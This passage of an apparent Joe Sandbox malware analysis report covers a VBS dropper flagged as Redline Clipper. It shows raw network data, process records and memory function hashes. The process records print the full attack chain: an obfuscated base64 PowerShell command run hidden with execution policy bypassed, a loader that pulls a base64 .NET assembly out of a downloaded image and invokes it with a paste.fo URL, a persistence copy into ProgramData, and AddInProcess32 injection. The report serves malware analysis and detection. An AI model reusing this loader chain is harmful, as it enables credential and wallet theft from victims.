2f 44 64 5a 76 2b 50 30 Data Ascii: A9/BjD0/HMOQ/fw4A9/BjD0/HMOQ/fw4A9/BjD0/HMOQ/fw4A9/BnD0/TMQK/PxBp8/EHky/TcQK/PxBp8/EHky/TcQK/PxCp8/Hn0w/fsSD//xKN8/Hr0w/fsSD//xKN8/Hr0w/f8SD/vyRx7/KLFv/rsU8+vySx7/KLFv/rsU8+vySx7/KPFv/38W1+fzcV7/NzVt/3MX1+fzcV7/NzVt/3MX1+fzdV7/QT2r/DdZv+P0l96/QX2r/DdZv+P0
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 63 4f 51 2f 50 78 41 70 38 2f 45 48 6b 79 2f 54 63 51 4b 2f 50 78 42 70 38 2f 45 48 6b 79 2f 54 63 51 4b 2f 50 78 42 70 38 2f 45 4c 6b 79 2f 66 63 53 44 2f 2f 78 4b 4e 38 2f 48 72 30 77 2f 66 73 53 44 2f 2f 78 4b 4e 38 2f 48 72 30 77 2f 66 73 53 44 2f 2f 78 4c 4e 38 2f 4b 48 46 76 2f 72 73 55 38 2b 76 79 53 78 37 2f 4b 4c 46 76 2f 72 73 55 38 2b 76 79 53 78 37 2f 4b 4c 46 76 2f 72 38 55 38 2b 66 7a 62 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 66 7a 63 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 66 7a 63 56 37 2f 4e 33 56 74 2f 44 4e 5a 76 2b 50 30 6c 39 36 2f 51 58 32 72 2f 44 64 5a 76 2b 50 30 6c 39 36 2f 51 58 32 72 2f Data Ascii: MOQ/fw4A9/BjD0/HMOQ/fw4A9/BjD0/HMOQ/fw4A9/BjD0/HcOQ/PxAp8/EHky/TcQK/PxBp8/EHky/TcQK/PxBp8/ELky/fcSD//xKN8/Hr0w/fsSD//xKN8/Hr0w/fsSD//xLN8/KHFv/rsU8+vySx7/KLFv/rsU8+vySx7/KLFv/r8U8+fzbV7/NzVt/3MX1+fzcV7/NzVt/3MX1+fzcV7/N3Vt/DNZv+P0l96/QX2r/DdZv+P0l96/QX2r/
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 42 6a 44 30 2f 48 4d 4f 51 2f 66 77 34 41 39 2f 45 44 6b 79 2f 54 63 51 4b 2f 50 78 42 70 38 2f 45 48 6b 79 2f 54 63 51 4b 2f 50 78 42 70 38 2f 45 48 6b 79 2f 54 63 51 4a 2f 2f 78 4a 4e 38 2f 48 72 30 77 2f 66 73 53 44 2f 2f 78 4b 4e 38 2f 48 72 30 77 2f 66 73 53 44 2f 2f 78 4b 4e 38 2f 48 72 6b 77 2f 72 63 55 38 2b 76 79 53 78 37 2f 4b 4c 46 76 2f 72 73 55 38 2b 76 79 53 78 37 2f 4b 4c 46 76 2f 72 73 55 38 2b 76 79 54 74 37 2f 4e 76 56 74 2f 33 4d 58 31 2b 66 7a 63 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 66 7a 63 56 37 2f 4e 7a 56 74 2f 33 4d 58 31 2b 50 30 6b 39 36 2f 51 58 32 72 2f 44 64 5a 76 2b 50 30 6c 39 36 2f 51 58 32 72 2f 44 64 5a 76 2b 50 30 6c 39 Data Ascii: /BjD0/HMOQ/fw4A9/BjD0/HMOQ/fw4A9/BjD0/HMOQ/fw4A9/EDky/TcQK/PxBp8/EHky/TcQK/PxBp8/EHky/TcQJ//xJN8/Hr0w/fsSD//xKN8/Hr0w/fsSD//xKN8/Hrkw/rcU8+vySx7/KLFv/rsU8+vySx7/KLFv/rsU8+vyTt7/NvVt/3MX1+fzcV7/NzVt/3MX1+fzcV7/NzVt/3MX1+P0k96/QX2r/DdZv+P0l96/QX2r/DdZv+P0l9
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 50 2f 50 77 32 38 38 2f 41 62 7a 7a 2f 44 73 4e 50 2f 50 77 32 38 38 2f 41 62 7a 7a 2f 44 73 4e 50 2f 50 77 32 38 38 2f 42 66 7a 7a 2f 50 38 50 4a 2f 50 78 41 6c 38 2f 45 2f 54 79 2f 54 38 50 4a 2f 50 78 2f 6b 38 2f 45 2f 54 79 2f 50 38 50 4a 2f 50 78 41 68 38 2f 47 6a 6b 77 2f 66 63 53 43 2f 2f 78 49 4a 38 2f 48 6a 6b 77 2f 66 4d 53 43 2f 2f 78 49 4a 38 2f 47 6a 6b 77 2f 66 63 53 42 2f 66 79 51 74 37 2f 4b 48 31 75 2f 72 63 55 37 2b 76 79 52 74 37 2f 4b 48 31 75 2f 72 63 55 37 2b 76 79 51 74 37 2f 4b 48 6c 75 2f 7a 73 57 30 2b 66 7a 62 52 37 2f 4e 76 46 74 2f 33 38 57 30 2b 66 7a 62 52 37 2f 4e 76 46 74 2f 33 38 57 30 2b 66 7a 62 4e 37 2f 50 50 6d 72 2f 44 4e 5a 74 2b 50 30 6b 35 36 2f 51 54 6d 72 2f 44 4e 5a 75 2b 50 30 6b 35 36 2f 51 54 6d 72 2f 44 4e Data Ascii: P/Pw288/Abzz/DsNP/Pw288/Abzz/DsNP/Pw288/Bfzz/P8PJ/PxAl8/E/Ty/T8PJ/Px/k8/E/Ty/P8PJ/PxAh8/Gjkw/fcSC//xIJ8/Hjkw/fMSC//xIJ8/Gjkw/fcSB/fyQt7/KH1u/rcU7+vyRt7/KH1u/rcU7+vyQt7/KHlu/zsW0+fzbR7/NvFt/38W0+fzbR7/NvFt/38W0+fzbN7/PPmr/DNZt+P0k56/QTmr/DNZu+P0k56/QTmr/DN
2024-01-04 07:37:20 UTC	1369	IN	Data Raw: 79 42 77 2f 6e 62 48 41 2f 66 75 63 41 38 2f 35 32 42 77 2f 6e 62 48 41 2f 66 75 64 41 38 2f 35 79 42 77 2f 6e 62 48 2f 2b 66 76 6e 67 37 2f 39 69 43 75 2f 33 4c 4b 34 2b 66 76 6f 67 37 2f 39 69 43 75 2f 33 4c 4b 34 2b 66 76 6e 67 37 2f 39 69 79 74 2f 44 63 4d 77 2b 50 77 79 41 37 2f 41 4c 44 73 2f 44 73 4d 77 2b 50 77 79 41 37 2f 41 4c 44 73 2f 44 63 4d 77 2b 50 77 79 38 36 2f 45 7a 44 71 2f 54 63 50 6f 2b 50 78 39 67 36 2f 45 33 44 71 2f 54 63 50 6f 2b 50 78 39 67 36 2f 45 7a 44 71 2f 54 63 50 6e 2b 50 79 48 42 36 2f 49 6a 45 6f 2f 6a 4d 53 67 2b 50 79 49 42 36 2f 49 6a 45 6f 2f 6a 4d 53 67 2b 50 79 48 42 36 2f 49 6a 30 6e 2f 76 63 55 5a 2b 2f 79 53 6c 35 2f 4c 4c 56 6d 2f 76 73 55 5a 2b 2f 79 53 6c 35 2f 4c 4c 56 6d 2f 76 63 55 5a 2b 2f 79 53 68 35 2f Data Ascii: yBw/nbHA/fucA8/52Bw/nbHA/fudA8/5yBw/nbH/+fvng7/9iCu/3LK4+fvog7/9iCu/3LK4+fvng7/9iyt/DcMw+PwyA7/ALDs/DsMw+PwyA7/ALDs/DcMw+Pwy86/EzDq/TcPo+Px9g6/E3Dq/TcPo+Px9g6/EzDq/TcPn+PyHB6/IjEo/jMSg+PyIB6/IjEo/jMSg+PyHB6/Ij0n/vcUZ+/ySl5/LLVm/vsUZ+/ySl5/LLVm/vcUZ+/ySh5/

Target ID:	0
Start time:	08:37:11
Start date:	04/01/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\confirmationcr.vbs"
Imagebase:	0x7ff69e470000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:37:13
Start date:	04/01/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreQQBzDgTreHDgTreDgTrebwBzDgTreGUDgTreLgBEDgTreHIDgTreYQB3DgTreGkDgTrebgBnDgTreFMDgTrecDgTreBlDgTreGMDgTreLgBQDgTreGsDgTreaQBrDgTreEEDgTredDgTreB0DgTreHIDgTreQwBlDgTreHIDgTredDgTreBODgTreEIDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreUgB1DgTreG4DgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHDgTreDgTreYQBzDgTreHQDgTreZQDgTreuDgTreGYDgTrebwDgTrevDgTreHIDgTreYQB3DgTreC8DgTreYQDgTre3DgTreDQDgTreZDgTreDgTrezDgTreGUDgTreZDgTreDgTre1DgTreDQDgTreYgBhDgTreDEDgTrePwBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDIDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreFYDgTreYgBzDgTreE4DgTreYQBtDgTreGUDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreLDgTreDgTregDgTreCcDgTreTDgTreBuDgTreGsDgTreTgBhDgTreG0DgTreZQDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBkDgTreGUDgTrecwBhDgTreHQDgTreaQB2DgTreGEDgTreZDgTreBvDgTreCcDgTreLDgTreDgTrenDgTreGQDgTreZQBzDgTreGEDgTredDgTreBpDgTreHYDgTreYQBkDgTreG8DgTreJwDgTrepDgTreCkDgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:37:13
Start date:	04/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:37:14
Start date:	04/01/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedlineClipper, Description: Yara detected Redline Clipper, Source: 00000004.00000002.1513578120.000001B91593F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:37:18
Start date:	04/01/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:37:18
Start date:	04/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:37:19
Start date:	04/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
Imagebase:	0x3e0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:37:19
Start date:	04/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
Imagebase:	0xe80000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedlineClipper, Description: Yara detected Redline Clipper, Source: 00000008.00000002.2724487700.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:37:31
Start date:	04/01/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs"
Imagebase:	0x7ff69e470000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:37:39
Start date:	04/01/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\VbsName.vbs"
Imagebase:	0x7ff69e470000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Function 00007FF8876E37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1887241861.00007FF8876E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8876E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8876e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 56eb2de28a2b844de6cce9ae9ed602589ea146473ae75cce365fb28fc7286f86
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: EB01677115CB0D4FDB44EF0CE451AAAB7E0FB99364F10056DE58AC3651D636E882CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4144, Parent PID: 3668COMMON

Executed Functions

Function 00007FF8876E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1559470516.00007FF8876E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8876E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8876e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 04631af8a9b76b190789240b6feda194bfaf8575156e5a4ea8ba4b9c354b2c6c
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7601677115CB0D4FDB44EF0CE451AA9B7E0FB95364F10056DE58AC3651DA36E882CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AddInProcess32.exePID: 1272, Parent PID: 3668COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.1%
Total number of Nodes:	353
Total number of Limit Nodes:	20

Executed Functions

Function 064A8798 Relevance: .6, Instructions: 639COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2623f8ce553a11421fbec03e53a1e6cdb04406386b457cdec05f3e3b0ef59ec
Instruction ID: 4e720c11dbcd9db54dda82344caaa58c56b210d27f42dd7e79b68478e94088c0
Opcode Fuzzy Hash: c2623f8ce553a11421fbec03e53a1e6cdb04406386b457cdec05f3e3b0ef59ec
Instruction Fuzzy Hash: 35426D74E10318DFEB64DFA9C95079EBBF2AF88300F14816AD40AAB395DB349C45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 030CF8B8 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2729017241.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_30c0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81a6e528626da5c564cf295dd5cd20363dcf14c2c8aec617e9b322b94479a13
Instruction ID: c49ec34b825d99af4f2e82f08de397be846044bb0c4d63539f8c63c73b6c4d73
Opcode Fuzzy Hash: e81a6e528626da5c564cf295dd5cd20363dcf14c2c8aec617e9b322b94479a13
Instruction Fuzzy Hash: C7F18D34A1134ADFDB14DFA9C854B9DFBF2BF88304F198169D805AF261DB70A945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 064A92DF Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ba50780ef1d62b8119b13ae8b46550bfb05a2462b34d494a325b5922144282
Instruction ID: 2f908a735c41d2215e2070a8a7169a0de5230f39cef0732cbe547fd0f7191c84
Opcode Fuzzy Hash: 88ba50780ef1d62b8119b13ae8b46550bfb05a2462b34d494a325b5922144282
Instruction Fuzzy Hash: ABC15B71E20318EFEF55DFA5D88479ABBB2FF98300F14816AD409AB255DB309985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 064A1C00 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2735072403.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_64a0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 407cb4d5d22dca9cc2942d3399aedd8e95ac0ffff64bcabff8eb751c147d2258
Instruction ID: 9e054e6105d2359299f9e387e72feda2284fca41c0c2c1480840087db0fd9387
